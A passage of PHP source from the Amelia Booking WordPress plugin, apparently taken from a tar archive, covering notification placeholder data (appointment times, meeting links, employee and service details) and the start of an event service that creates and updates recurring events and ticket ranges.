!empty($appointment['initialAppointmentDateTime']) ? DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $appointment['initialAppointmentDateTime']['bookingEnd'] )->setTimezone(new \DateTimeZone($appointment['provider']['timeZone']))->format('Y-m-d H:i:s'), 'UTC' ) : ''; } else { $bookingStart = DateTime::createFromFormat('Y-m-d H:i:s', $appointment['bookingStart']); $bookingEnd = DateTime::createFromFormat('Y-m-d H:i:s', $appointment['bookingEnd']); $oldBookingStart = !empty($appointment['initialAppointmentDateTime']) ? DateTime::createFromFormat('Y-m-d H:i:s', $appointment['initialAppointmentDateTime']['bookingStart']) : ''; $oldBookingEnd = !empty($appointment['initialAppointmentDateTime']) ? DateTime::createFromFormat('Y-m-d H:i:s', $appointment['initialAppointmentDateTime']['bookingEnd']) : ''; } $zoomStartUrl = ''; $zoomJoinUrl = ''; $lessonSpaceLink = ''; if (array_key_exists('lessonSpace', $appointment) && $appointment['lessonSpace']) { $lessonSpaceLink = $type === 'email' ? '<a href="' . $appointment['lessonSpace'] . '">' . BackendStrings::getCommonStrings()['lesson_space_join'] . '</a>' : $appointment['lessonSpace']; } if (isset($appointment['zoomMeeting']['joinUrl'], $appointment['zoomMeeting']['startUrl'])) { $zoomStartUrl = $appointment['zoomMeeting']['startUrl']; $zoomJoinUrl = $appointment['zoomMeeting']['joinUrl']; } $googleMeetUrl = ''; if (array_key_exists('googleMeetUrl', $appointment) && $appointment['googleMeetUrl']) { $googleMeetUrl = $type === 'email' ? '<a href="' . $appointment['googleMeetUrl'] . '">' . BackendStrings::getCommonStrings()['google_meet_join'] . '</a>' : $appointment['googleMeetUrl']; } return [ 'appointment_id' => !empty($appointment['id']) ? $appointment['id'] : '', 'appointment_status' => BackendStrings::getCommonStrings()[$appointment['status']], 'appointment_notes' => !empty($appointment['internalNotes']) ? $appointment['internalNotes'] : '', 'appointment_date' => date_i18n($dateFormat, $bookingStart->getTimestamp()), 'appointment_date_time' => date_i18n($dateFormat . ' ' . $timeFormat, $bookingStart->getTimestamp()), 'appointment_start_time' => date_i18n($timeFormat, $bookingStart->getTimestamp()), 'appointment_end_time' => date_i18n($timeFormat, $bookingEnd->getTimestamp()), 'initial_appointment_date' => !empty($oldBookingStart) ? date_i18n($dateFormat, $oldBookingStart->getTimestamp()) : '', 'initial_appointment_date_time' => !empty($oldBookingStart) ? date_i18n($dateFormat . ' ' . $timeFormat, $oldBookingStart->getTimestamp()) : '', 'initial_appointment_start_time' => !empty($oldBookingStart) ? date_i18n($timeFormat, $oldBookingStart->getTimestamp()) : '', 'initial_appointment_end_time' => !empty($oldBookingEnd) ? date_i18n($timeFormat, $oldBookingEnd->getTimestamp()) : '', 'lesson_space_url' => $lessonSpaceLink, 'zoom_host_url' => $zoomStartUrl && $type === 'email' ? '<a href="' . $zoomStartUrl . '">' . BackendStrings::getCommonStrings()['zoom_click_to_start'] . '</a>' : $zoomStartUrl, 'zoom_join_url' => $zoomJoinUrl && $type === 'email' ? '<a href="' . $zoomJoinUrl . '">' . BackendStrings::getCommonStrings()['zoom_click_to_join'] . '</a>' : $zoomJoinUrl, 'google_meet_url' => $googleMeetUrl, ]; } /** * @param $appointmentArray * @param $bookingKey * * @return array * @throws ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ private function getServiceData($appointmentArray, $bookingKey = null) { /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var Service $service */ $service = $serviceRepository->getByIdWithExtras($appointmentArray['serviceId']); /** @var Category $category */ $category = $categoryRepository->getById($service->getCategoryId()->getValue()); $categoryName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointmentArray['bookings'][$bookingKey]['info']) : null, $category->getTranslations() ? $category->getTranslations()->getValue() : null, 'name' ) ?: $category->getName()->getValue(); $serviceName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointmentArray['bookings'][$bookingKey]['info']) : null, $service->getTranslations() ? $service->getTranslations()->getValue() : null, 'name' ) ?: $service->getName()->getValue(); $serviceDescription = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointmentArray['bookings'][$bookingKey]['info']) : null, $service->getTranslations() ? $service->getTranslations()->getValue() : null, 'description' ) ?: ($service->getDescription() ? $service->getDescription()->getValue() : ''); $servicePrices = []; $serviceDurations = []; if ($bookingKey === null) { foreach ($appointmentArray['bookings'] as $booking) { if ($booking['status'] === BookingStatus::CANCELED || $booking['status'] === BookingStatus::REJECTED) { continue; } $duration = $booking['duration'] ? $booking['duration'] : $service->getDuration()->getValue(); $price = $appointmentAS->getBookingPriceForServiceDuration( $service, $duration ); $servicePrices[$price] = $helperService->getFormattedPrice($price); $serviceDurations[$duration] = $helperService->secondsToNiceDuration($duration); } } else { $duration = !empty($appointmentArray['bookings'][$bookingKey]['duration']) ? $appointmentArray['bookings'][$bookingKey]['duration'] : $service->getDuration()->getValue(); $price = $appointmentAS->getBookingPriceForServiceDuration( $service, $duration ); $servicePrices[$price] = $helperService->getFormattedPrice( $price ); $serviceDurations[$duration] = $helperService->secondsToNiceDuration( $duration ); } $data = [ 'category_name' => $categoryName, 'service_description' => $serviceDescription, 'reservation_description' => $serviceDescription, 'service_duration' => implode(', ', $serviceDurations), 'service_name' => $serviceName, 'reservation_name' => $serviceName, 'service_price' => implode(', ', $servicePrices), ]; $bookingExtras = []; foreach ((array)$appointmentArray['bookings'] as $key => $booking) { if (($bookingKey === null && ($booking['isChangedStatus'] || $booking['status'] === BookingStatus::APPROVED || $booking['status'] === BookingStatus::PENDING)) || $bookingKey === $key) { foreach ((array)$booking['extras'] as $bookingExtra) { $bookingExtras[$bookingExtra['extraId']] = [ 'quantity' => $bookingExtra['quantity'] ]; } } } /** @var ExtraRepository $extraRepository */ $extraRepository = $this->container->get('domain.bookable.extra.repository'); /** @var Collection $extras */ $extras = $extraRepository->getAllIndexedById(); $duration = $service->getDuration()->getValue(); if ($bookingKey !== null) { $duration = !empty($appointmentArray['bookings'][$bookingKey]['duration']) ? $appointmentArray['bookings'][$bookingKey]['duration'] : $duration; foreach ($appointmentArray['bookings'][$bookingKey]['extras'] as $bookingExtra) { /** @var Extra $extra */ $extra = $extras->getItem($bookingExtra['extraId']); $duration += $extra->getDuration() ? $extra->getDuration()->getValue() * $bookingExtra['quantity'] : 0; } } else { $maxBookingDuration = 0; foreach ($appointmentArray['bookings'] as $booking) { $bookingDuration = $booking['duration'] ? $booking['duration'] : $duration; foreach ($booking['extras'] as $bookingExtra) { /** @var Extra $extra */ $extra = $extras->getItem($bookingExtra['extraId']); $bookingDuration += $extra->getDuration() ? $extra->getDuration()->getValue() * $bookingExtra['quantity'] : 0; } if ($bookingDuration > $maxBookingDuration && ($booking['status'] === BookingStatus::APPROVED || $booking['status'] === BookingStatus::PENDING) ) { $maxBookingDuration = $bookingDuration; } } $duration = $maxBookingDuration; } $data['appointment_duration'] = $helperService->secondsToNiceDuration($duration); $allExtraNames = ""; /** @var Extra $extra */ foreach ($extras->getItems() as $extra) { $extraId = $extra->getId()->getValue(); $data["service_extra_{$extraId}_name"] = array_key_exists($extraId, $bookingExtras) ? $extra->getName()->getValue() : ''; $data["service_extra_{$extraId}_name"] = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointmentArray['bookings'][$bookingKey]['info']) : null, $data["service_extra_{$extraId}_name"] && $extra->getTranslations() ? $extra->getTranslations()->getValue() : null, 'name' ) ?: $data["service_extra_{$extraId}_name"]; $data["service_extra_{$extraId}_quantity"] = array_key_exists($extraId, $bookingExtras) ? $bookingExtras[$extraId]['quantity'] : ''; $data["service_extra_{$extraId}_price"] = array_key_exists($extraId, $bookingExtras) ? $helperService->getFormattedPrice($extra->getPrice()->getValue()) : ''; if (!empty($data["service_extra_{$extraId}_name"])) { $allExtraNames .= $data["service_extra_{$extraId}_name"].', '; } } $data["service_extras"] = substr($allExtraNames, 0, -2); $data['deposit'] = $service->getDeposit() && $service->getDeposit()->getValue(); return $data; } /** * @param $appointment * * @return array * * @throws ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException */ public function getEmployeeData($appointment, $bookingKey = null) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var Provider $user */ $user = $userRepository->getById($appointment['providerId']); if (!($locationId = $appointment['locationId'])) { $locationId = $user->getLocationId() ? $user->getLocationId()->getValue() : null; } /** @var Location $location */ $location = $locationId ? $locationRepository->getById($locationId) : null; $locationName = $settingsService->getSetting('company', 'address'); $locationDescription = ''; if ($location) { $locationName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointment['bookings'][$bookingKey]['info']) : null, $location->getTranslations() ? $location->getTranslations()->getValue() : null, 'name' ) ?: $location->getName()->getValue(); $locationDescription = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointment['bookings'][$bookingKey]['info']) : null, $location->getTranslations() ? $location->getTranslations()->getValue() : null, 'description' ) ?: ($location->getDescription() ? $location->getDescription()->getValue() : ''); } $firstName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointment['bookings'][$bookingKey]['info']) : null, $user->getTranslations() ? $user->getTranslations()->getValue() : null, 'firstName' ) ?: $user->getFirstName()->getValue(); $lastName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($appointment['bookings'][$bookingKey]['info']) : null, $user->getTranslations() ? $user->getTranslations()->getValue() : null, 'lastName' ) ?: $user->getLastName()->getValue(); $userDescription = $helperService->getBookingTranslation( $bookingKey !== null ? $appointment['bookings'][$bookingKey]['info'] : null, $user->getTranslations() ? $user->getTranslations()->getValue() : null, 'description' ) ?: ($user->getDescription() ? $user->getDescription()->getValue() : ''); return [ 'employee_email' => $user->getEmail()->getValue(), 'employee_first_name' => $firstName, 'employee_last_name' => $lastName, 'employee_full_name' => $firstName . ' ' . $lastName, 'employee_phone' => $user->getPhone()->getValue(), 'employee_note' => $user->getNote() ? $user->getNote()->getValue() : '', 'employee_description' => $userDescription, 'employee_panel_url' => trim( $this->container->get('domain.settings.service') ->getSetting('roles', 'providerCabinet')['pageUrl'] ), 'location_address' => !$location ? $settingsService->getSetting('company', 'address') : $location->getAddress()->getValue(), 'location_phone' => !$location ? $settingsService->getSetting('company', 'phone') : $location->getPhone()->getValue(), 'location_name' => $locationName, 'location_description' => $locationDescription ]; } /** * @param array $appointment * @param int $bookingKey * @param string $type * @param string $placeholderType * * @return array * * @throws ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function getRecurringAppointmentsData($appointment, $bookingKey, $type, $placeholderType) { if (!array_key_exists('recurring', $appointment)) { return [ "{$placeholderType}_appointments_details" => '' ]; } /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.appointment.service"); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $appointmentsSettings = $settingsService->getCategorySettings('appointments'); $recurringAppointmentDetails = []; foreach ($appointment['recurring'] as $recurringData) { $recurringBookingKey = null; $isForCustomer = $bookingKey !== null || (isset($appointment['isForCustomer']) && $appointment['isForCustomer']); if ($isForCustomer) { foreach ($recurringData['appointment']['bookings'] as $key => $recurringBooking) { if (isset($recurringData['booking']['id'])) { if ($recurringBooking['id'] === $recurringData['booking']['id']) { $recurringBookingKey = $key; } } else { $recurringBookingKey = $bookingKey; } } } $token = $recurringBookingKey !== null && isset( $recurringData['appointment']['bookings'][$recurringBookingKey], $recurringData['appointment']['bookings'][$recurringBookingKey]['id'] ) ? $bookingRepository->getToken($recurringData['appointment']['bookings'][$recurringBookingKey]['id']) : null; $recurringPlaceholders = array_merge( $this->getEmployeeData($recurringData['appointment'], $recurringBookingKey), $this->getAppointmentData($recurringData['appointment'], $recurringBookingKey, $type), $this->getServiceData($recurringData['appointment'], $recurringBookingKey), $this->getCustomFieldsData($recurringData['appointment'], $type, $bookingKey), $this->getBookingData( $recurringData['appointment'], $type, $recurringBookingKey, isset($token['token']) ? $token['token'] : null ) ); unset($recurringPlaceholders['icsFiles']); if (!$isForCustomer) { if (isset($recurringPlaceholders['appointment_cancel_url'])) { $recurringPlaceholders['appointment_cancel_url'] = ''; } $recurringPlaceholders['zoom_join_url'] = ''; } else { $recurringPlaceholders['employee_panel_url'] = ''; $recurringPlaceholders['zoom_host_url'] = ''; } $placeholderString = $placeholderType . 'Placeholders' . ($isForCustomer && $placeholderType === 'package' ? 'Customer' : '') . ($isForCustomer && $placeholderType === 'recurring' ? 'Customer' : '') . ($type === 'email' ? '' : 'Sms'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $content = $helperService->getBookingTranslation( $recurringBookingKey !== null ? $helperService->getLocaleFromBooking($recurringData['appointment']['bookings'][$recurringBookingKey]['info']) : null, json_encode($appointmentsSettings['translations']), $placeholderString ) ?: $appointmentsSettings[$placeholderString]; if ($type === 'whatsapp') { $content = str_replace(array("\n","\r"), '; ', $content); $content = preg_replace('!\s+!', ' ', $content); } $recurringAppointmentDetails[] = $placeholderService->applyPlaceholders( $content, $recurringPlaceholders ); } return [ "{$placeholderType}_appointments_details" => $recurringAppointmentDetails ? implode( $type === 'email' ? '<p><br></p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL), $recurringAppointmentDetails ) : '' ]; } /** * @param array $appointment * @param int $bookingKey * @param string $type * * @return array * * @throws ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function getGroupedAppointmentData($appointment, $bookingKey, $type) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.appointment.service"); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $appointmentsSettings = $settingsService->getCategorySettings('appointments'); $groupAppointmentDetails = []; if ($bookingKey) { return [ "group_appointment_details" => '' ]; } foreach ($appointment['bookings'] as $bookingId => $booking) { if ($booking['status'] === BookingStatus::CANCELED || $booking['status'] === BookingStatus::REJECTED || $booking['status'] === BookingStatus::NO_SHOW) { continue; } $groupPlaceholders = array_merge( $this->getAppointmentData($appointment, $bookingId, $type), $this->getServiceData($appointment, $bookingId), $this->getCustomFieldsData($appointment, $type, $bookingId), $this->getCustomersData($appointment, $type, $bookingId), $this->getBookingData( $appointment, $type, $bookingId ) ); $content = $appointmentsSettings['groupAppointmentPlaceholder' . ($type === null || $type === 'email' ? '' : 'Sms')] ; if ($type === 'email') { $content = str_replace(array("\n","\r"), '', $content); } else if ($type === 'whatsapp') { $content = str_replace(array("\n","\r"), '; ', $content); $content = preg_replace('!\s+!', ' ', $content); } $groupAppointmentDetails[] = $placeholderService->applyPlaceholders( $content, $groupPlaceholders ); } return [ "group_appointment_details" => $groupAppointmentDetails ? implode( $type === 'email' ? '<p><br></p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL), $groupAppointmentDetails ) : '' ]; } } Services/Booking/EventApplicationService.php 0000666 00000177331 15165412624 0015244 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Booking; use AmeliaBooking\Application\Services\Gallery\GalleryApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\Booking\Event\EventTag; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Booking\Appointment\AppointmentFactory; use AmeliaBooking\Domain\Factory\Booking\Event\EventFactory; use AmeliaBooking\Domain\Factory\Booking\Event\EventPeriodFactory; use AmeliaBooking\Domain\Factory\Booking\Event\EventTicketFactory; use AmeliaBooking\Domain\Factory\Booking\Event\RecurringFactory; use AmeliaBooking\Domain\Services\Booking\EventDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\Number\Integer\WholeNumber; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Domain\ValueObjects\DateTime\DateTimeValue; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventPeriodRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventPeriodsRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventProvidersRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventTagsRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponEventRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldEventRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationsToEntitiesRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class EventApplicationService * * @package AmeliaBooking\Application\Services\Booking */ class EventApplicationService { private $container; /** * EventApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param array $data * * @return Event * * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws Exception */ public function build($data) { foreach ($data['periods'] as &$period) { if (!empty($data['utc'])) { $period['periodStart'] = DateTimeService::getCustomDateTimeFromUtc( $period['periodStart'] ); $period['periodEnd'] = DateTimeService::getCustomDateTimeFromUtc( $period['periodEnd'] ); } elseif (!empty($data['timeZone'])) { $period['periodStart'] = DateTimeService::getDateTimeObjectInTimeZone( $period['periodStart'], $data['timeZone'] )->setTimezone(DateTimeService::getTimeZone())->format('Y-m-d H:i:s'); $period['periodEnd'] = DateTimeService::getDateTimeObjectInTimeZone( $period['periodEnd'], $data['timeZone'] )->setTimezone(DateTimeService::getTimeZone())->format('Y-m-d H:i:s'); } } return EventFactory::create($data); } /** * @param Event $event * * @return Collection * * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException */ public function add($event) { /** @var EventDomainService $eventDomainService */ $eventDomainService = $this->container->get('domain.booking.event.service'); $bookingOpensSame = $event->getBookingOpensRec() === 'same'; $bookingClosesSame = $event->getBookingClosesRec() === 'same'; $ticketRangeSame = $event->getTicketRangeRec() === 'same'; $events = new Collection(); if ($event->getRecurring()) { $event->getRecurring()->setOrder(new WholeNumber(1)); } $this->addSingle($event); $events->addItem($event); $event->setParentId(new Id($event->getId()->getValue())); $eventStarts = $event->getPeriods()->getItem(0)->getPeriodStart()->getValue(); if (!$bookingOpensSame) { if ($event->getBookingOpens()) { $eventDateDiff = $event->getBookingOpens()->getValue()->diff($eventStarts); } else { $lastIndex = $event->getPeriods()->length() - 1; $eventEnds = $event->getPeriods()->getItem($lastIndex)->getPeriodEnd()->getValue(); } } if (!$bookingClosesSame && $event->getBookingCloses()) { $eventDateDiffCloses = $event->getBookingCloses()->getValue()->diff($eventStarts); } if (!$ticketRangeSame) { $allTicketDiff = []; /** @var EventTicket $ticket */ foreach ($event->getCustomTickets()->getItems() as $ticketIndex => $ticket) { $allTicketDiff[$ticketIndex] = []; $ticketDates = json_decode($ticket->getDateRanges()->getValue(), true); foreach ($ticketDates as $dateIndex => $ticketDate) { $ticketDateStart = DateTimeService::getCustomDateTimeObject($ticketDate['startDate']); $ticketDateEnd = DateTimeService::getCustomDateTimeObject($ticketDate['endDate']); $allTicketDiff[$ticketIndex][$dateIndex] = [ 'startDiff' => $ticketDateStart->diff($eventStarts), 'endDiff' => $ticketDateEnd->diff($eventStarts), ]; } } } if ($event->getRecurring()) { /** @var Collection $recurringEventsPeriods */ $recurringEventsPeriods = $eventDomainService->getRecurringEventsPeriods( $event->getRecurring(), $event->getPeriods() ); /** @var Collection $recurringEventPeriods */ foreach ($recurringEventsPeriods->getItems() as $key => $recurringEventPeriods) { $order = $event->getRecurring()->getOrder()->getValue() + 1; $event = EventFactory::create($event->toArray()); $event->getRecurring()->setOrder(new WholeNumber($order)); $event->setPeriods($recurringEventPeriods); $periodStart = $event->getPeriods()->getItem(0)->getPeriodStart()->getValue()->format('Y-m-d H:i:s'); if (!$bookingOpensSame) { if (isset($eventDateDiff)) { $periodStartOpen = DateTimeService::getCustomDateTimeObject($periodStart)->sub($eventDateDiff); $event->setBookingOpens(new DateTimeValue($periodStartOpen)); } else { $event->setBookingOpens(new DateTimeValue($eventEnds)); } $lastIndex = $event->getPeriods()->length() - 1; $eventEnds = $event->getPeriods()->getItem($lastIndex)->getPeriodEnd()->getValue(); } if (!$bookingClosesSame) { $periodStartClose = DateTimeService::getCustomDateTimeObject($periodStart); if (isset($eventDateDiffCloses)) { $periodStartClose = $periodStartClose->sub($eventDateDiffCloses); } $event->setBookingCloses(new DateTimeValue($periodStartClose)); } if (!$ticketRangeSame) { /** @var EventTicket $ticket */ foreach ($event->getCustomTickets()->getItems() as $ticketIndex => $ticket) { $ticketDates = json_decode($ticket->getDateRanges()->getValue(), true); foreach ($ticketDates as $dateIndex => &$ticketDate) { $ticketDate = array_merge( $ticketDate, [ 'startDate' => DateTimeService::getCustomDateTimeObject( $periodStart )->sub($allTicketDiff[$ticketIndex][$dateIndex]['startDiff'])->format('Y-m-d'), 'endDate' => DateTimeService::getCustomDateTimeObject( $periodStart )->sub($allTicketDiff[$ticketIndex][$dateIndex]['endDiff'])->format('Y-m-d'), ] ); } $ticket->setDateRanges(new Json(json_encode($ticketDates))); } } $this->addSingle($event); $events->addItem($event); } } return $events; } /** * @param Event $oldEvent * @param Event $newEvent * @param bool $updateFollowing * * @return array * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws ContainerException */ public function update($oldEvent, $newEvent, $updateFollowing) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventDomainService $eventDomainService */ $eventDomainService = $this->container->get('domain.booking.event.service'); /** @var Collection $rescheduledEvents */ $rescheduledEvents = new Collection(); /** @var Collection $clonedEvents */ $clonedEvents = new Collection(); /** @var Collection $addedEvents */ $addedEvents = new Collection(); /** @var Collection $deletedEvents */ $deletedEvents = new Collection(); $clonedEvents->addItem(EventFactory::create($oldEvent->toArray()), $oldEvent->getId()->getValue()); $isNewRecurring = $this->isSeparateRecurringEvent($newEvent, $oldEvent); $isRescheduled = $newEvent->getPeriods()->toArray() !== $oldEvent->getPeriods()->toArray(); $bookingOpensSame = $newEvent->getBookingOpensRec() === 'same'; $bookingClosesSame = $newEvent->getBookingClosesRec() === 'same'; $ticketRangeSame = $newEvent->getTicketRangeRec() === 'same'; if ($isNewRecurring) { $newEvent->getRecurring()->setOrder(new WholeNumber(1)); } if ($isRescheduled) { $newEvent->setInitialEventStart($oldEvent->getPeriods()->getItem(0)->getPeriodStart()); $newEvent->setInitialEventEnd($oldEvent->getPeriods()->getItem($oldEvent->getPeriods()->length()-1)->getPeriodEnd()); $rescheduledEvents->addItem($newEvent, $newEvent->getId()->getValue()); } $this->updateSingle($oldEvent, $newEvent, false); if (!$newEvent->getRecurring()) { $eventRepository->updateParentId($newEvent->getId()->getValue(), null); } $followingEvents = null; // update following events parentId, if new event recurring value is removed and if it's origin event if (!$newEvent->getRecurring() && $oldEvent->getRecurring() && !$newEvent->getParentId()) { /** @var Collection $followingEvents */ $followingEvents = $eventRepository->getFiltered( [ 'parentId' => $newEvent->getId()->getValue(), 'allProviders' => true ] ); $firstFollowingEventId = null; /** @var Event $followingEvent */ foreach ($followingEvents->getItems() as $key => $followingEvent) { if (!$clonedEvents->keyExists($followingEvent->getId()->getValue())) { $clonedEvents->addItem( EventFactory::create($followingEvent->toArray()), $followingEvent->getId()->getValue() ); } if ($followingEvent->getId()->getValue() > $newEvent->getId()->getValue()) { $eventRepository->updateParentId($followingEvent->getId()->getValue(), $firstFollowingEventId); if ($firstFollowingEventId === null) { $firstFollowingEventId = $followingEvent->getId()->getValue(); } } } } if ($updateFollowing && $newEvent->getRecurring()) { /** @var Collection $followingEvents */ $followingEvents = $eventRepository->getFiltered( [ 'parentId' => $newEvent->getParentId() ? $newEvent->getParentId()->getValue() : $newEvent->getId()->getValue(), 'allProviders' => true ] ); /** @var Event $firstEvent **/ $firstEvent = $followingEvents->getItem($followingEvents->keys()[0]); /** @var Collection $clonedOriginEventPeriods **/ $clonedOriginEventPeriods = $eventDomainService->getClonedEventPeriods( $isNewRecurring ? $newEvent->getPeriods() : $firstEvent->getPeriods(), false ); $followingRecurringOrder = $newEvent->getRecurring()->getOrder()->getValue(); $eventEnds = null; $eventStarts = $newEvent->getPeriods()->getItem(0)->getPeriodStart()->getValue(); if (!$bookingOpensSame) { if ($newEvent->getBookingOpens()) { $eventDateDiff = $newEvent->getBookingOpens()->getValue()->diff($eventStarts); } else { $lastIndex = $newEvent->getPeriods()->length() - 1; $eventEnds = $newEvent->getPeriods()->getItem($lastIndex)->getPeriodEnd()->getValue(); } } if (!$bookingClosesSame) { if ($newEvent->getBookingCloses()) { $eventDateDiffCloses = $newEvent->getBookingCloses()->getValue()->diff($eventStarts); } } if (!$ticketRangeSame) { $allTicketDiff = []; $index = 0; /** @var EventTicket $ticket */ foreach ($newEvent->getCustomTickets()->getItems() as $ticketIndex => $ticket) { $allTicketDiff[$ticketIndex] = []; $ticketDates = json_decode($ticket->getDateRanges()->getValue(), true); foreach ($ticketDates as $dateIndex => $ticketDate) { $ticketDateStart = DateTimeService::getCustomDateTimeObject($ticketDate['startDate']); $ticketDateEnd = DateTimeService::getCustomDateTimeObject($ticketDate['endDate']); $allTicketDiff[$index][$dateIndex] = [ 'startDiff' => $ticketDateStart->diff($eventStarts), 'endDiff' => $ticketDateEnd->diff($eventStarts), ]; } $index++; } } /** @var Event $followingEvent */ foreach ($followingEvents->getItems() as $key => $followingEvent) { if (!$clonedEvents->keyExists($followingEvent->getId()->getValue())) { $clonedEvents->addItem( EventFactory::create($followingEvent->toArray()), $followingEvent->getId()->getValue() ); } if ($followingEvent->getId()->getValue() < $newEvent->getId()->getValue()) { $followingEvent->getRecurring()->setUntil( $isNewRecurring ? $newEvent->getPeriods()->getItem(0)->getPeriodStart() : $newEvent->getRecurring()->getUntil() ); $this->updateSingle($followingEvent, $followingEvent, true); } if ($isNewRecurring && $followingEvent->getId()->getValue() === $newEvent->getId()->getValue()) { $eventRepository->updateParentId($newEvent->getId()->getValue(), null); } if ($followingEvent->getId()->getValue() > $newEvent->getId()->getValue()) { $followingEvent->setRecurring( RecurringFactory::create( [ 'cycle' => $newEvent->getRecurring()->getCycle()->getValue(), 'cycleInterval' => $newEvent->getRecurring()->getCycleInterval()->getValue(), 'monthlyRepeat' => $newEvent->getRecurring()->getMonthlyRepeat(), 'monthlyOnRepeat' => $newEvent->getRecurring()->getMonthlyOnRepeat(), 'monthlyOnDay' => $newEvent->getRecurring()->getMonthlyOnDay(), 'monthDate' => $newEvent->getRecurring()->getMonthDate() ? $newEvent->getRecurring()->getMonthDate()->getValue()->format('Y-m-d H:i:s') : null, 'until' => $newEvent->getRecurring()->getUntil()->getValue()->format('Y-m-d H:i:s'), 'order' => $isNewRecurring ? ++$followingRecurringOrder : $followingEvent->getRecurring()->getOrder()->getValue() ] ) ); /** @var Collection $clonedFollowingEventPeriods */ $clonedFollowingEventPeriods = $eventDomainService->getClonedEventPeriods( $followingEvent->getPeriods(), true ); $clonedFollowingEventTickets = $eventDomainService->getClonedEventTickets($followingEvent->getCustomTickets()); $eventDomainService->buildFollowingEvent($followingEvent, $newEvent, $clonedOriginEventPeriods); if ($isRescheduled && $followingEvent->getStatus()->getValue() === BookingStatus::APPROVED) { $followingEvent->setInitialEventStart($clonedFollowingEventPeriods->getItem(0)->getPeriodStart()); $followingEvent->setInitialEventEnd($clonedFollowingEventPeriods->getItem($clonedFollowingEventPeriods->length()-1)->getPeriodEnd()); $rescheduledEvents->addItem($followingEvent, $followingEvent->getId()->getValue()); } 